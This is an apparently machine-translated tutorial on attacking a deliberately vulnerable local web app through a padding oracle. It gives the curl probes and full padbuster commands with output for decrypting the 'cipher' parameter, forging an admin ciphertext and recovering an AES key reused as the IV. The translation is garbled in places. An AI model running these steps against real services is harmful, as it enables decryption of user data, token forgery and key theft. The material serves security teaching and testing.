Attackers can exploit Padding Oracle attacks to obtain encryption keys.
0 × 00 Preface
In this article, I would like to share some practical tips on using the padding oracle vulnerability. This type of vulnerability allows attackers to decrypt ciphertext and encrypt plaintext. For more information about the concept and working principle of padding oracle attacks, refer to Brian Holyfield's previous blog.
0 × 01 simple padding oracle scenario
The example application used in this article contains other vulnerabilities that can be used to restore the encryption key. We will use padbuster to launch the padding oracle attack and demonstrate how to use the python-paddingoracle database to create a custom vulnerability exploitation tool. In addition, you can find the vulnerability-contained application in this example on GitHub.
The application decrypts a request parameter named 'cipher:
curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6 decrypted: ApplicationUsername=user&Password=sesame
Because encryption keys and Initialization vectors are used to encrypt and decrypt this value, we know the AES-128 of PKCS #5 padding and the same static password, and there is no integrity check for HMAC or other information here.
Neither PKCS #5 nor MAC indicates that the application may be vulnerable to padding oracle attacks. By turning the binary bit in the first block, we can confirm that there is no syntax check for the decrypted data. In addition, we can also see that the application successfully processes the junk data in the first block:
curl http://127.0.0.1:5000/echo?cipher=ff4b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6decrypted: ?+?]7N?d?????N?me=user&Password=sesame
The next step is to check how the application responds to incorrect padding. We can do this by turning the position in the last part. The following code shows that when padding is incorrect, the application returns "decryption error ".
curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4ffdecryption error
We now know that this application contains this vulnerability, so we can run padbuster to exploit it. I strongly recommend that you read Brian's padbuster blog and view help output. For convenience, you can find the following introduction to padbuster:
padbuster URL EncryptedSample BlockSize [options]
In this case, it is intuitive to run padbuster: The block size is 16 (16 bytes = 128 bits). The only extra switch we need now is-encoding 1 (lowercase hexadecimal ).
padbuster "http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1+-------------------------------------------+| PadBuster - v0.3.3 || Brian Holyfield - Gotham Digital Science || [email protected] |+-------------------------------------------+INFO: The original request returned the following[+] Status: 200[+] Location: N/A[+] Content Length: 51INFO: Starting PadBuster Decrypt Mode*** Starting Block 1 of 2 ***INFO: No error string was provided...starting response analysis*** Response Analysis Complete ***The following response signatures were returned:-------------------------------------------------------ID# Freq Status Length Location-------------------------------------------------------1 1 200 42 N/A2 ** 255 200 16 N/A-------------------------------------------------------Enter an ID that matches the error conditionNOTE: The ID# marked with ** is recommended : 2Continuing test with selection 2[+] Success: (24/256) [Byte 16][+] Success: (165/256) [Byte 15][snip]Block 1 Results:[+] Cipher Text (HEX): c59ca16e1f3645ef53cc6a4d9d87308e[+] Intermediate Bytes (HEX): 2926e03c56d32edd338ffa923df059e9[+] Plain Text: ame=user&Passwor*** Starting Block 2 of 2 ***[snip]-------------------------------------------------------** Finished ***[+] Decrypted value (ASCII): ame=user&Password=sesame[snip]
Please note that it is impossible to restore the first block. View the following diagram about CBC decryption to help you understand why it cannot be restored. By using padding oracle, it is possible to obtain the median value after the first block is decrypted (-noiv option in padbuster ). However, we do not know how to calculate the first plaintext initialization vector (IV ).
Careful readers may have realized that the plaintext allows us to calculate the initialization vector, which is used as an encryption key for more detailed explanation.
To save time, we can also specify an error string for the invalid padding:
-error “decryption error”
0 × 02 a more complex example
Now let's look at a slightly complex scenario: for incorrect padding, the application does not return a specific error message. On the contrary, the application parses some fields in the decrypted data. If no required fields are found, an error message is returned. In this case, the required fields are "ApplicationUsername" and "Password ".
Here is an example of a successful request: the "cipher" parameter is successfully decrypted and contains all required fields. The application responds to the request by decrypting the value and all parsed fields.
curl http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6decrypted: ApplicationUsername=user&Password=sesameparsed: {'Password': ['sesame'], 'ApplicationUsername': ['user']}
If we send a request containing only one "Password" field, the application returns "ApplicationUsername missing ".
curl http://127.0.0.1:5000/echo?cipher=38d057b13b8aef21dbf9b43b66a6d89adecrypted: Password=sesamecurl http://127.0.0.1:5000/check?cipher=38d057b13b8aef21dbf9b43b66a6d89aApplicationUsername missing
When the encryption value contains only one "ApplicationUsername" field, the application returns "Password missing ".
curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369b309efe9c9fb71ea283dd42e445cc7b54decrypted: ApplicationUsername=usercurl http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369b309efe9c9fb71ea283dd42e445cc7b54Password missing
When the last part is tampered with, the padding becomes invalid. Result: because the application cannot decrypt the "cipher" parameter, "ApplicationUsername missing" is returned ".
curl http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4ffApplicationUsername missing
Unfortunately, starting padbuster with minimal options fails: when it attempts to brute force crack the first block, it always encounters the same error message (ApplicationUsername missing ).
padbuster "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1 [snip]ERROR: All of the responses were identical.Double check the Block Size and try again.
However, we can still use the application to check the order characteristics of the field to crack: If padding is invalid, it will still return "ApplicationUsername missing ". We only need to consider the encrypted data that contains the "ApplicationUsername" field in advance: If padding is correct, we will get different responses. In this way, we can decrypt all blocks except the first block.
In the following example, the first two blocks of the ciphertext are taken into consideration when the padding oracle attack is executed, because the "ApplicationUsername" field spans two blocks (see the appendix ).
padbuster "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e"+-------------------------------------------+| PadBuster - v0.3.3 || Brian Holyfield - Gotham Digital Science || [email protected] |+-------------------------------------------+INFO: The original request returned the following[+] Status: 200[+] Location: N/A[+] Content Length: 117INFO: Starting PadBuster Decrypt Mode*** Starting Block 1 of 2 ***[snip]-------------------------------------------------------** Finished ***[+] Decrypted value (ASCII): ame=user&Password=sesame[snip]
0 × 03 Encryption
We can also encrypt any content (see the original padbuster blog to learn how it works ). However, the only restriction is that the first block cannot be controlled because the static initialization vector is in use. If we use "= bla &" to terminate data that cannot be controlled in the first block, the application will still accept the resulting ciphertext. Note that the ciphertext we carefully compiled does not have to have the same length as the original ciphertext.
padbuster "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369b" "484b850123a04baf15df9be14e87369b" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e" -plaintext "=bla&ApplicationUsername=admin&Password=admin"[snip][+] Encrypted value is: 753e2047e19bf24866ae5634f3454ef3a3802d5144a051a7246762f57a16f73531d76ada52422e176ea07e45384df69d00000000000000000000000000000000-------------------------------------------------------curl http://127.0.0.1:5000/check?cipher=753e2047e19bf24866ae5634f3454ef3a3802d5144a051a7246762f57a16f73531d76ada52422e176ea07e45384df69d00000000000000000000000000000000decrypted: ??_c?I?B?C???=bla&ApplicationUsername=admin&Password=adminparsed: {'\xf7\xc1_c\x9e\x1cI\x9aB\xccC\x10\xac\x07\x90\x97': ['bla'], 'Password': ['admin'], 'ApplicationUsername': ['admin']}
0 × 04 get the key
The ability to decrypt and fabricate the "cipher" parameter is very bad, but setting the initialization vector for the key introduces another vulnerability: initialization vector (and the resulting encryption key) is the plaintext obtained by performing the XOR operation on the intermediate value generated by the first block and the decrypted block (see the following figure ).
We can assume that attackers can guess the plain text based on the following information: specification, decryption from padding oracle attacks, or messages displayed by applications.
By using the "-noiv" Switch of padbuster, we can obtain the median value after the first block is decrypted:
padbuster "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369b" "484b850123a04baf15df9be14e87369b" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e" -noiv [snip]Block 1 Results:[+] Cipher Text (HEX): 484b850123a04baf15df9be14e87369b[+] Intermediate Bytes (HEX): 7141425f5d56574351562f1730213728[snip]
Once we obtain the median value, we can perform XOR operations on it with the plaintext to obtain the encryption key:
0x4170706c69636174696f6e557365726e (plaintext ‘ApplicationUsern’)XOR0x7141425f5d56574351562f1730213728 (intermediate value)=0x30313233343536373839414243444546 (key ‘0123456789ABCDEF’)
0 × 05 custom Python script
When padbuster is not flexible enough, the python-paddingoracle database allows us to create a custom vulnerability exploitation tool. For example, when the target application uses the CSRF token or is testing the web service.
On GitHub, We can find two Python scripts that use the web application in our example. The first script "http-simple.py" for simple scenarios. More advanced scenarios require prefix ciphertext, which has been implemented in the "http-advanced.py", this script also demonstrates how to encrypt plaintext and calculate the key.
0 × 06 Appendix: ciphertext Block
Block 1: Invalid ApplicationUsern Block 2: c59ca16e1f3645ef53cc6a4d9d87308e ame = user & Passwor Block 3: d2382fb0a54f3a2954bfebe0a04dd4d6 d = sesame [padding]